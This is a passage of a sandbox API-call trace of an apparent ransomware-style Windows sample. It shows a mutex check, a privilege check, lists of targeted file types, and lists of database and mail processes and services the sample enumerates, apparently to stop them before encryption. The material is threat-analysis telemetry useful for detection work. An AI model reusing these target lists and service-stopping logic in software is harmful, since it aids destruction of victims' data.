lpMem=0x5d6fe8 | out: hHeap=0x5c0000) returned 1 [0203.233] lstrlenW (lpString="Global\\syncronize_") returned 18 [0203.233] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7848 | out: hHeap=0x5c0000) returned 1 [0203.233] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5d7048 [0203.233] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d8068 [0203.233] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d8068, Size=0x20) returned 0x5cb0a0 [0203.233] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5cb0a0, Size=0x40) returned 0x5d7968 [0203.233] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5ee8b8 [0203.233] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41U") returned 0x1f0 [0203.233] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7048 | out: hHeap=0x5c0000) returned 1 [0203.233] lstrlenW (lpString="Global\\syncronize_") returned 18 [0203.233] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7968 | out: hHeap=0x5c0000) returned 1 [0203.233] GetVersion () returned 0x23f00206 [0203.233] GetCurrentProcess () returned 0xffffffff [0203.233] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0203.234] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0203.234] CloseHandle (hObject=0x1f4) returned 1 [0203.234] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0203.234] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d6340 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d7fa8 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7fa8, Size=0x20) returned 0x5cb0a0 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5cb0a0, Size=0x40) returned 0x5d7770 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7770, Size=0x80) returned 0x5d6838 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6838, Size=0x100) returned 0x5d7d58 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x5da350 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d7008 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6fe8 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d7148 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d8068 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d7048 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7f18 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7048, Size=0x8) returned 0x5d7058 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7fa8 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7058, Size=0x10) returned 0x5d7f60 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7f78 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8098 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7f60, Size=0x20) returned 0x5cb0a0 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7f60 [0203.234] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d80b0 [0203.234] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7008, Size=0x8) returned 0x5d7108 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6fe8, Size=0x8) returned 0x5d7118 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d7008 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d80e0 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6fe8 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8110 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6fe8, Size=0x8) returned 0x5d7048 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d81b8 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7048, Size=0x10) returned 0x5d8200 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8218 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6fe8 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d8200, Size=0x20) returned 0x5fefa8 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7108, Size=0x10) returned 0x5d8230 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7118, Size=0x10) returned 0x5d8248 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d7048 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d8260 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d7058 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8278 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7058, Size=0x8) returned 0x5d7108 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d7118 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d81d0 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d7058 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8200 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7058, Size=0x8) returned 0x5ff138 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d8230, Size=0x20) returned 0x5fefd0 [0203.235] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d8248, Size=0x20) returned 0x5fee68 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff128 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d8230 [0203.235] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff118 [0203.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d8248 [0203.236] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff118, Size=0x8) returned 0x5ff168 [0203.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d63a0 [0203.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d6060 [0203.236] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0203.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7d58 | out: hHeap=0x5c0000) returned 1 [0203.236] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d81e8 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d81e8, Size=0x20) returned 0x5ff020 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff020, Size=0x40) returned 0x5d7920 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7920, Size=0x80) returned 0x5d7d58 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7d58, Size=0x100) returned 0x5d7d58 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d81e8 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d81e8, Size=0x20) returned 0x5fef08 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef08, Size=0x40) returned 0x5d7920 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7920, Size=0x80) returned 0x5d8618 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d8618, Size=0x100) returned 0x5d8618 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d81e8 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff178 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603ad8 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff178, Size=0x8) returned 0x5ff258 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d62e0 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff258, Size=0x10) returned 0x603c10 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d63c0 [0203.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5ff070 [0203.240] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603c10, Size=0x20) returned 0x5feeb8 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5fef80 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d6360 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5ff048 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603b68 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff1e8 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5d7848 [0203.241] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff1e8, Size=0x8) returned 0x5ff2a8 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5d7578 [0203.241] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff2a8, Size=0x10) returned 0x603b50 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d6300 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d63e0 [0203.241] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603b50, Size=0x20) returned 0x5fee18 [0203.241] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5d55c8 [0203.241] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0203.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7d58 | out: hHeap=0x5c0000) returned 1 [0203.241] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0203.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d8618 | out: hHeap=0x5c0000) returned 1 [0203.241] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feff8 [0203.246] EnumServicesStatusExW (in: hSCManager=0x5feff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0203.247] GetLastError () returned 0xea [0203.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c4a) returned 0x606488 [0203.247] EnumServicesStatusExW (in: hSCManager=0x5feff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x606488, cbBufSize=0x1c4a, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x606488, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0203.248] CloseServiceHandle (hSCObject=0x5feff8) returned 1 [0203.249] lstrlenW (lpString="Appinfo") returned 7 [0203.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0203.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0203.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0203.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0203.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0203.253] lstrlenW (lpString="AppXSvc") returned 7 [0203.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0203.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0203.253] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0203.253] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0203.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0203.253] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0203.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.253] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0203.253] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0203.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0203.253] lstrlenW (lpString="Audiosrv") returned 8 [0203.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0203.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0203.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0203.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0203.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0203.253] lstrlenW (lpString="BFE") returned 3 [0203.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0203.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0203.254] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0203.254] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0203.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0203.254] lstrlenW (lpString="BITS") returned 4 [0203.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0203.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0203.254] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0203.254] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0203.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0203.254] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0203.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.254] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0203.254] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0203.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0203.254] lstrlenW (lpString="CDPSvc") returned 6 [0203.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0203.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0203.254] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0203.254] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0203.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0203.254] lstrlenW (lpString="ClickToRunSvc") returned 13 [0203.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.254] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0203.254] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0203.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0203.255] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0203.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0203.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0203.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0203.255] lstrlenW (lpString="CryptSvc") returned 8 [0203.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0203.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0203.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0203.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0203.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0203.255] lstrlenW (lpString="DcomLaunch") returned 10 [0203.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0203.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0203.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0203.255] lstrlenW (lpString="DeviceAssociationService") returned 24 [0203.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.255] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0203.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0203.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0203.255] lstrlenW (lpString="Dhcp") returned 4 [0203.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0203.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0203.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0203.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0203.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0203.256] lstrlenW (lpString="Dnscache") returned 8 [0203.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0203.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0203.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0203.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0203.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0203.256] lstrlenW (lpString="DPS") returned 3 [0203.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0203.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0203.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0203.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0203.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0203.256] lstrlenW (lpString="DusmSvc") returned 7 [0203.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0203.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0203.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0203.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0203.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0203.256] lstrlenW (lpString="EventLog") returned 8 [0203.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0203.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0203.256] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0203.256] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0203.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0203.256] lstrlenW (lpString="EventSystem") returned 11 [0203.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0203.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0203.257] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0203.257] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0203.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0203.257] lstrlenW (lpString="FontCache") returned 9 [0203.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0203.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0203.257] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0203.257] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0203.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0203.257] lstrlenW (lpString="gpsvc") returned 5 [0203.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0203.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0203.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0203.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0203.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0203.257] lstrlenW (lpString="iphlpsvc") returned 8 [0203.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.257] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0203.257] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0203.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0203.257] lstrlenW (lpString="KeyIso") returned 6 [0203.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0203.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0203.257] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0203.258] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0203.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0203.258] lstrlenW (lpString="LanmanServer") returned 12 [0203.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0203.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0203.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0203.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0203.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0203.258] lstrlenW (lpString="LanmanWorkstation") returned 17 [0203.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0203.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0203.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0203.258] lstrlenW (lpString="lfsvc") returned 5 [0203.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0203.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0203.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0203.259] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0203.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0203.259] lstrlenW (lpString="lmhosts") returned 7 [0203.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0203.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0203.259] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0203.260] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0203.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0203.260] lstrlenW (lpString="LSM") returned 3 [0203.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0203.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0203.260] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0203.260] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0203.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0203.260] lstrlenW (lpString="MpsSvc") returned 6 [0203.260] 